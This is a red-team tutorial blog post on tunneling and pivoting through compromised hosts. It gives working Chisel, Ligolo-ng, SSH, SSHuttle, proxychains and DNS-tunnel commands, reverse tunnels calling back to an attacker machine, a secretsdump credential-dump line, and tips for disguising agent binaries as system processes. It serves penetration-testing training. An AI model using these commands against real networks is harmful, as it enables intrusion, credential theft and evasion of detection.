Tunneling and pivoting are the techniques that separate a surface-level scan from a full internal network compromise. Once you have a foothold on a machine, the real target is usually somewhere deeper — a database server, an internal admin panel, a secondary subnet that isn’t exposed to the internet at all.

This guide covers every technique that actually works in 2026: SSH port forwarding, Chisel, Ligolo-ng, SSHuttle, and proxychains. By the end you’ll know when to use each one and how to string them together across multiple hops.

Why Pivoting Matters

You’ve compromised your first host. Now what?

In most real-world environments, the interesting targets sit behind network segmentation:

  • Internal web apps that only accept connections from internal IPs
  • Domain controllers on a separate subnet
  • Database servers listening on 127.0.0.1 or only on private ranges
  • IoT/OT networks physically separated from the corporate LAN

Your attack machine can’t reach those directly. But your compromised host can. Pivoting means routing your traffic through that compromised host to reach networks your machine has no direct path to.

Tunneling is the mechanism — wrapping traffic inside a protocol that’s allowed through the firewall (SSH, HTTP, DNS). Pivoting is the goal — moving laterally through segmented networks.


The Toolkit

SSH Tunneling

Built-in, encrypted, works everywhere SSH is allowed. The first tool you should reach for.

Chisel

A fast TCP/UDP tunnel over HTTP. Written in Go — single binary, no dependencies. Works even when SSH is blocked. Runs client→server or server→client.

Ligolo-ng

A modern, agent-based tunneling framework that creates a proper TUN interface on your attack machine. The cleanest option when you need full routing to a network (not just specific ports).

SSHuttle

Like a poor man’s VPN — routes entire subnets through SSH without needing admin on the remote host. Great for simple pivots when you have SSH access.

ProxyChains

The glue. Routes any tool (nmap, curl, impacket, evil-winrm) through a SOCKS proxy. Use it with any of the above.


Lab Setup

Before you start, you need a lab. The techniques here require a multi-network environment — at minimum two subnets with controlled routing.

The fastest setup:

  1. Attack machine — your Kali/Parrot host
  2. Pivot host — a Linux or Windows machine on two subnets (internet-facing + internal)
  3. Target — a machine on the internal subnet only

You can build this locally with VMs or spin it up in the cloud. For cloud-based labs, Vultr lets you create private networks between VPS instances in minutes. DigitalOcean has the same with their VPC product. Both are cheap enough for a practice environment you spin up and tear down per session.


SSH Tunneling

SSH tunneling is the most reliable option when you have SSH access to the pivot host. Three modes:

Local Port Forwarding

Forward a port from your attack machine to a service on the target network.

ssh -L [local_port]:[target_host]:[target_port] [user]@[pivot_host]

Example: You have SSH on the pivot (10.10.10.5) and want to reach an internal web app at 192.168.1.20:80.

ssh -L 8080:192.168.1.20:80 [email protected]

Now browse to http://127.0.0.1:8080 on your machine — traffic routes through the pivot to the internal server.

Options worth knowing:

-N    # Don't execute a remote command (keeps tunnel open without a shell)
-f    # Send to background
-q    # Quiet mode (suppress banners)

Full command:

ssh -NfqL 8080:192.168.1.20:80 [email protected]

Remote Port Forwarding

The reverse: forward a port on the pivot back to something on your machine. Useful when you can’t directly reach the pivot’s SSH port but the pivot can reach you.

ssh -R [remote_port]:[local_host]:[local_port] [user]@[your_machine]

Example: You’ve got a reverse shell from an internal host and want to expose your local web server to it.

# On the pivot host (after getting a shell):
ssh -NR 8080:127.0.0.1:80 attacker@your_vps_ip

Now port 8080 on the pivot routes to port 80 on your machine.

Dynamic SOCKS Proxy

The most powerful SSH mode. Creates a SOCKS5 proxy on your local machine — route any traffic through it to reach any host the pivot can reach.

ssh -D [local_socks_port] user@[pivot_host]
ssh -NfqD 1080 [email protected]

Then configure proxychains or your browser to use 127.0.0.1:1080 as a SOCKS5 proxy. Any tool that supports SOCKS will now route through the pivot.

Multi-Hop SSH Tunneling

Need to reach a third network beyond the first pivot? Chain SSH tunnels.

Option 1 — ProxyJump (clean, modern):

ssh -J user@pivot1 user@pivot2

Option 2 — Manual chain (when ProxyJump isn’t available):

# First hop: local port 2222 → pivot1 SSH
ssh -NfL 2222:pivot2:22 user@pivot1

# Second hop: connect through the forwarded port
ssh -NfD 1080 -p 2222 [email protected]

Option 3 — ProxyJump with SOCKS:

ssh -J user@pivot1 -D 1080 user@pivot2

Chisel

Chisel shines when SSH is blocked or you’re pivoting through a web shell / limited shell. It tunnels over HTTP/HTTPS — most firewalls allow this outbound.

GitHub: https://github.com/jpillora/chisel

Setup

Download prebuilt binaries from the releases page, or build from source:

# On your attack machine (server)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_1.x.x_linux_amd64.gz
gunzip chisel_1.x.x_linux_amd64.gz
chmod +x chisel_1.x.x_linux_amd64
mv chisel_1.x.x_linux_amd64 /usr/local/bin/chisel

Transfer the binary to the pivot host (same binary, different mode).

SOCKS Pivot — Server Mode (Attack Machine)

# Start the Chisel server on your attack machine
chisel server --port 8000 --reverse

SOCKS Pivot — Client Mode (Pivot Host)

# Run on the compromised host
chisel client [attacker_ip]:8000 R:socks

This creates a reverse SOCKS5 proxy. The R: prefix means the pivot connects back to you (reverse tunnel) — the attack machine doesn’t need to reach in.

Your SOCKS proxy is now on 127.0.0.1:1080 on your attack machine.

Local Port Forward via Chisel

Forward a specific port:

# Server (attack machine)
chisel server --port 8000 --reverse

# Client (pivot)
chisel client [attacker_ip]:8000 R:9090:192.168.1.50:3306

Port 9090 on your attack machine now reaches port 3306 (MySQL) on 192.168.1.50 through the pivot.

Chisel Over HTTPS

Add a TLS layer for stealth:

# Server
chisel server --port 443 --reverse --tls-cert /path/to/cert.pem --tls-key /path/to/key.pem

# Client
chisel client --tls-skip-verify https://[attacker_ip]:443 R:socks

Chisel on Windows

Chisel has Windows binaries. Drop it, run it:

.\chisel.exe client [attacker_ip]:8000 R:socks

No PowerShell execution policy issues — it’s a standalone executable.


Ligolo-ng

Ligolo-ng is the most elegant solution if you want real routing rather than port-by-port forwarding. It creates a TUN interface on your attack machine — from that point, you can run any tool against the target network as if you were directly connected.

GitHub: https://github.com/nicocha30/ligolo-ng

Why Ligolo-ng Wins for Multi-Target Operations

With SSH dynamic forwarding or Chisel SOCKS, every tool needs to be proxychains-aware or SOCKS-compatible. Ligolo-ng creates an actual network interface — your attack machine routes traffic at the OS level. nmap, impacket, evil-winrm, curl — everything works without proxychains.

Setup

Two components:

  • Proxy — runs on your attack machine (the C2 side)
  • Agent — runs on the pivot host
# Download both from GitHub releases
# Proxy (Linux, your attack machine):
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64

# Agent (match the pivot OS):
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_linux_amd64
# or for Windows pivot:
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_windows_amd64.exe

chmod +x proxy_linux_amd64 agent_linux_amd64

Create the TUN Interface

# On your attack machine (requires root/sudo)
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

Start the Proxy

./proxy_linux_amd64 -selfcert -laddr 0.0.0.0:11601

-selfcert generates a self-signed cert for the agent connection. Use a real cert in production.

Connect the Agent

On the pivot host:

./agent_linux_amd64 -connect [attacker_ip]:11601 -ignore-cert

Start the Tunnel

Back on your attack machine, in the Ligolo-ng proxy console:

# List connected agents
session

# Select the agent (enter the number shown)
1

# Check what networks the agent can see
ifconfig

# Start the tunnel
start

Add the Route

Now add a route so your machine’s traffic to the internal subnet goes through Ligolo-ng:

# Example: 192.168.1.0/24 is the internal network
sudo ip route add 192.168.1.0/24 dev ligolo

That’s it. Now you can hit 192.168.1.x directly from your attack machine — no proxychains, no port forwarding, no SOCKS configuration.

# Direct nmap against internal subnet
nmap -sV 192.168.1.0/24

# Evil-WinRM without proxychains
evil-winrm -i 192.168.1.50 -u Administrator -p 'P@ssword'

Multi-Hop with Ligolo-ng

Ligolo-ng supports nested tunnels. After reaching the first internal network, you can pivot again:

# On the first pivot (now accessible via Ligolo):
./agent_linux_amd64 -connect [attacker_ip]:11601 -ignore-cert

# In the Ligolo console: add a listener on the pivot
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

# Deploy a second agent on the second-hop host, connecting to pivot:11601
./agent_linux_amd64 -connect [pivot1_ip]:11601 -ignore-cert

New session appears in the proxy console. Add routes for the second internal subnet.


SSHuttle

SSHuttle is a transparent proxy that routes entire subnets through SSH. No TUN interface needed, no root on the remote side — it installs a minimal Python helper on the pivot over SSH.

# Install
pip install sshuttle
# or
apt install sshuttle

Basic Usage

# Route all traffic to 192.168.1.0/24 through the pivot
sshuttle -r user@pivot_ip 192.168.1.0/24

# Route everything (all traffic)
sshuttle -r user@pivot_ip 0.0.0.0/0

# Exclude specific subnets
sshuttle -r user@pivot_ip 192.168.1.0/24 -x 10.10.10.0/24

SSHuttle with a Key

sshuttle -r user@pivot_ip --ssh-cmd "ssh -i /path/to/key" 192.168.1.0/24

When to Use SSHuttle vs Ligolo-ng

ScenarioUse
You have SSH access, want fast subnet routingSSHuttle
No SSH, using a reverse shellChisel or Ligolo-ng
Need full routing without proxychainsLigolo-ng
Multi-hop, complex topologyLigolo-ng
Quick single-port forwardSSH -L

ProxyChains Configuration

ProxyChains routes TCP connections through SOCKS4/SOCKS5/HTTP proxies. Use it when your SOCKS proxy is set up (SSH dynamic, Chisel, etc.) and your tool isn’t SOCKS-aware natively.

Config File

nano /etc/proxychains4.conf

Key settings:

# Comment out strict_chain, uncomment dynamic_chain
dynamic_chain
# strict_chain

# Proxy timeouts (ms)
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
# Format: type  ip  port [user pass]
socks5  127.0.0.1  1080

dynamic_chain skips dead proxies. Use strict_chain when you need a guaranteed ordered hop.

Using ProxyChains

proxychains nmap -sT -Pn -n 192.168.1.0/24
proxychains evil-winrm -i 192.168.1.50 -u Administrator -p 'P@ssword'
proxychains curl http://192.168.1.100:8080
proxychains python3 /opt/impacket/examples/secretsdump.py domain/user:[email protected]

Note: nmap -sS (SYN scan) doesn’t work through proxychains — it requires raw sockets. Use -sT (TCP connect scan) instead. It’s slower but it works.

ProxyChains with Multiple Hops

For multi-hop scenarios, add all your proxies in order:

[ProxyList]
socks5  127.0.0.1  1080   # Hop 1 (pivot 1)
socks5  127.0.0.1  2080   # Hop 2 (pivot 2, forwarded locally)

DNS Tunneling

When only DNS is allowed outbound, use DNS tunneling. It’s slow but it works through the most restrictive egress filtering.

iodine

# Server side (needs a domain with NS record pointing to your VPS)
iodined -f -c -P secretpassword 10.0.0.1 tunnel.yourdomain.com

# Client side (pivot host)
iodine -f -P secretpassword tunnel.yourdomain.com

Once connected, you get a point-to-point tunnel over DNS. Useful as a last resort — throughput is typically under 100KB/s.

dnscat2

Another DNS tunneling option with a C2 flavor:

# Server
ruby dnscat2.rb tunnel.yourdomain.com

# Client (pivot)
./dnscat --dns domain=tunnel.yourdomain.com

Real-World Pivot Workflow

Here’s how this looks in a real engagement:

Scenario: Web App → Internal DB Server

  1. Initial access: RCE on a web server at 10.10.10.5 (exposed to internet)
  2. Goal: Reach 192.168.50.20:3306 (MySQL on internal VLAN)

Step 1 — Identify the network:

# On the pivot (via your shell)
ip addr
ip route
cat /etc/hosts

Step 2 — Choose your tool:

  • If SSH available on pivot: ssh -NfL 3306:192.168.50.20:3306 [email protected]
  • If only HTTP/shell: deploy Chisel or Ligolo-ng agent

Step 3 — Set up the tunnel (Ligolo-ng example):

# Attack machine
./proxy_linux_amd64 -selfcert -laddr 0.0.0.0:11601

# Pivot (via RCE / web shell)
./agent_linux_amd64 -connect [your_vps]:11601 -ignore-cert

# Attack machine console
session → 1 → start
sudo ip route add 192.168.50.0/24 dev ligolo

Step 4 — Hit the target directly:

mysql -h 192.168.50.20 -u root -p

Scenario: Windows AD Environment, Three Hops

Attack Machine → DMZ Host (Linux) → Corp Network → Internal DC
  1. Ligolo-ng agent on DMZ host → route corp network
  2. Second Ligolo-ng agent on a corp Windows box (via the now-routable corp network) → route to DC subnet
  3. Run BloodHound collector and impacket tools directly against DC subnet
  4. No proxychains needed at any step

Persistence & Stealth Considerations

Bind vs Reverse

Always prefer reverse tunnels (pivot connects out to you) in environments with NAT/firewalls. Inbound connections to the pivot are usually blocked; outbound to common ports (80, 443, 8080) often aren’t.

Port Choice

Use ports that blend in:

  • 443 — HTTPS (Chisel + TLS)
  • 80 — HTTP (Chisel without TLS)
  • 8080, 8443 — common web alt ports
  • Avoid obvious pentesting ports (4444, 1337, 31337)

Process Name

On Linux, rename your agent binary:

cp chisel /tmp/.cache-update
/tmp/.cache-update client [attacker]:443 R:socks

On Windows:

Copy-Item .\agent.exe "C:\Windows\Temp\svchost.exe"

Encryption

Always use encrypted tunnels (SSH, Chisel + TLS, Ligolo-ng with certs) — plaintext tunnels are trivial to detect with DPI.


Quick Reference Table

ToolTransportRoot NeededWorks on WindowsBest For
SSH -L/-DSSHNoWith SSH clientQuick forwards, SSH available
ChiselHTTP/HTTPSNoYesSSH blocked, reverse tunnels
Ligolo-ngTCP (TLS)For TUN setupYes (agent)Full routing, clean ops
SSHuttleSSHNo (remote)NoFull subnet routing via SSH
ProxyChainsSOCKS4/5NoPartialWrapping tools through SOCKS
iodineDNSYesNoExtreme egress filtering

Common Issues

Chisel client can’t connect:

  • Check firewall rules on attack machine (server port must be open)
  • Try --tls-skip-verify if cert errors
  • Try port 443 or 80 if the egress port is filtered

Ligolo-ng TUN interface errors:

sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
# Confirm it exists:
ip link show ligolo

ProxyChains hangs:

  • Confirm SOCKS proxy is actually running (ss -tlnp | grep 1080)
  • Use dynamic_chain not strict_chain
  • Reduce timeouts in config
  • Check the proxy is a SOCKS5 not SOCKS4 if authentication is involved

nmap slow through proxychains: Normal. TCP connect scan through a tunnel is slow. Narrow your scope, increase parallelism:

proxychains nmap -sT -Pn -n --min-rate 100 -p 22,80,443,445,3389,8080 192.168.1.0/24

Lab Setup Recommendation

To practice these techniques properly, you need a network you control. Options:

Cloud-based (fastest to spin up):

  • Vultr — private networks between VPS instances, cheap hourly billing
  • DigitalOcean — VPC networking, $5–$6/month per node

Build a 3-node lab: attack machine, Linux pivot, Windows target. The whole thing costs under $20/month and you can snapshot/destroy between sessions.

Local VMs: VMware Workstation or VirtualBox with host-only and NAT adapters. Free but slower to set up and limited by your hardware.


Summary

Tunneling and pivoting are non-negotiable skills for internal network penetration testing. The modern toolkit is:

  • SSH forwarding — when SSH is available, use it first
  • Chisel — when SSH is blocked, reverse tunnels over HTTP/S
  • Ligolo-ng — when you need full routing and clean operations across multiple hops
  • SSHuttle — when you have SSH and want quick subnet routing without the setup
  • ProxyChains — to route tools that aren’t natively SOCKS-aware

Pick the right tool for the constraint, chain them when needed, and always go encrypted.


Need an isolated lab to practice this without risking your own network? Vultr and DigitalOcean both have private VPC networks you can spin up in minutes.


Published by RedTeamGuide.com — practical red team content for security professionals.